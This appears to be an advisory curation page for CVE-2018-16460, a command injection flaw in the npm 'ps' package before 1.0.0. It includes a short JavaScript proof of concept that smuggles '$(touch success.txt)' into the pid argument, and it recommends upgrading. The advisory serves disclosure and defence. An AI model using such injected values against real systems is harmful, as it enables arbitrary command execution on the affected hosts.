Staging Environment: Content and features may be unstable or change without notice.

Advisory Weakness Curation

CVE-2018-16460

Progress 0 / 0

Advisory Summaries

github_osv/GHSA-cfhg-9x44-78h2

ps Enables OS Command Injection Versions of `ps` before 1.0.0 are vulnerable to command injection. ### Proof of concept: ```js var ps = require('ps'); ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection if (err) {throw err;} if (proc) { console.log(proc); // Process name, something like "node" or "bash" } else { console.log('No such process'); } }); // Result: The file success.txt will exist on the filesystem if the touch command was executed ``` ## Recommendation Update to version 1.0.0 or later.

gitlab/npm/ps/CVE-2018-16460

OS Command Injection A command Injection in ps allowed arbitrary commands to be executed when attacker controls the PID.